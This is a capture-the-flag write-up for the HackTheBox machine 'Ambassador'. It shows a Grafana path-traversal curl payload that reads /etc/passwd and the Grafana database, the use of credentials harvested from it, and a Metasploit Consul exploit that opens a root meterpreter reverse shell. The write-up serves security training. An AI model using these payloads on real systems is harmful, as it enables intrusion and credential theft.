Ambassador Writeup
28 January 2023 #CTF #HTB #box #medium #linuxEnumeration
You know what to do: run nmap
:
$ sudo nmap -n -p- -T4 -oN enum/fulltcp.nmap 10.10.11.183
[...]
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
3306/tcp open mysql
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -n -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.183
[...]
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
| 256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_ 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 12 Oct 2022 18:04:16 GMT
| Content-Length: 29
| href="/login">Found</a>.
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 12 Oct 2022 18:03:44 GMT
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Wed, 12 Oct 2022 18:03:50 GMT
|_ Content-Length: 0
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 9
| Capabilities flags: 65535
| Some Capabilities: SwitchToSSLAfterHandshake, Support41Auth, SupportsLoadDataLocal, FoundRows, Speaks41ProtocolOld, SupportsCompression, ConnectWithDatabase, ODBCClient, IgnoreSigpipes, SupportsTransactions, LongColumnFlag, InteractiveClient, IgnoreSpaceBeforeParenthesis, LongPassword, DontAllowDatabaseTableColumn, Speaks41ProtocolNew, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: oE\x02wz^\x7F6~1@\x0B\x17\x17T_*)D-
|_ Auth Plugin Name: caching_sha2_password
[...]
SSH
We can use the ssh banner retrieved by nmap
to identify quite accurately what version of Ubuntu is running on this box.
We'll throw the banner in our search engine and append 'launchpad' because this is where Ubuntu packages are hosted: we get this page.
We learn that it is Ubuntu Focal (20.04) and that the package was published on 11/05/2022.
This might be useful for us later on if we want to try a kernel exploit or something along those lines.
MYSQL
We can try our luck and see if mysql was poorly configured:
$ mysql -u root -h 10.10.11.183
ERROR 1045 (28000): Access denied for user 'root'@'10.10.14.14' (using password: NO)
Fine, we'll be back later.
HTTP
Port 80
Thanks to nmap
we know this site was made with Hugo (http-generator script) which is a static site generator. This means that it only serves html pages, no dynamic content, does not interact with a database etc.
Port 3000
Here we have a login page:
It is running Grafana which is a kind of monitoring application. It even leaks the version at the bottom. Let's throw it in searchsploit
:
$ searchsploit grafana
------------------------------------------------------------------- ---------------------------
Exploit Title | Path
-------------------------------------------------------------------- ---------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py
-------------------------------------------------------------------- ---------------------------
Shellcodes: No Results
Foothold
If we look a bit in the second script we see that the vulnerable versions are V8.0.0-beta1 through V8.3.0 so we are good.
This script in particular didn't work for me, I checked in Burp to debug it and if I type /etc/passwd
on the command line, it does a GET request to /etc/passwd
which is definitely not what we want. Not sure what is causing this weird behaviour, but whatever.
We can do it manually with curl
:
$ curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
We need to use --path-as-is
to prevent curl
from stripping all the ../
.
After a bit of research, we find that grafana has a sqlite database in /var/lib/grafana/grafana.db
. We'll download it using curl
:
$ curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 644k 100 644k 0 0 1103k 0 --:--:-- --:--:-- --:--:-- 1102k
We can find juicy info in the data_source
table:
sqlite> select user,password from data_source;
user password
------- --------------------------
grafana dontStandSoCloseToMe63221!
We can't ssh with these creds but let's try mysql again:
$ mysql -h 10.10.11.183 -u grafana -p
Enter password:
[...]
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
We find another password that is clearly base64 encoded (because of the trailing ==
)
$ echo YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== | base64 -d
anEnglishManInNewYork027468
If we remember the post on the static site, it tells us to 'Use the developer account to SSH.', and that's exactly what we'll do:
$ ssh developer@10.10.11.183
[...]
developer@ambassador:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
Privesc
There is something in /opt
:
developer@ambassador:~$ ls -lA /opt
total 8
drwxr-xr-x 6 consul consul 4096 Dec 4 18:04 consul
drwxrwxr-x 5 root root 4096 Mar 13 2022 my-app
The my-app
directory is a git repo. We can view the logs of commits:
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:44:11 2022 +0000
.gitignore
We can use git show
to view a previous commit:
developer@ambassador:/opt/my-app$ git show c982db8eff6f10f8f3a7d802f79f2705e7a21b55
[...]
+# We use Consul for application config in production, this script will help set the correct values for the app
+# Export MYSQL_PASSWORD before running
+
+consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
It leaks an access token to use with consul
.
We can also check for known vulnerabilities with searchsploit
:
$ searchsploit consul
[...]
Hashicorp Consul - Remote Command Execution via Rexec (Metasploit)
Hashicorp Consul - Remote Command Execution via Services API (Metasploit)
[...]
Nice! There are 2 exploits available for us.
Tunneling/Port Fowarding
The problem is the metasploit modules want to talk to port 8500 on the remote host, which is only listening on localhost. To solve this problem, we can use a feature of ssh to forward a local port. Type 'Enter + ~ + C' inside our ssh session and it will drop us in a prompt like this:
developer@ambassador:~$
ssh> -L 8500:127.0.0.1:8500
Forwarding port.
This will open port 8500 on our local machine and forward any traffic that goes through it to port 8500 on the remote box.
Alternatively, we can specify this -L
option directly when starting ssh:
$ ssh -L 8500:127.0.0.1:8500 developer@10.10.11.183
[...]
Exploit
With that done, we can simply fire up msfconsole
:
msf6 > search hashi
[...]
1 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec
2 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API
msf6 > use 2
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
I'll use the second one because I couldn't get the first one to work.
msf6 exploit(multi/misc/consul_service_exec) > set LHOST tun0
LHOST => tun0
msf6 exploit(multi/misc/consul_service_exec) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5
ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > run
[...]
[*] Meterpreter session 1 opened (10.10.14.14:4444 -> 10.10.11.183:33360) at 2022-12-04 14:15:13 -0500
meterpreter > getuid
Server username: root
We set RHOSTS to 127.0.0.1 because the module uses port 8500 so it goes through our ssh tunnel.
Key Takeaways
git log
to find commits with usefull info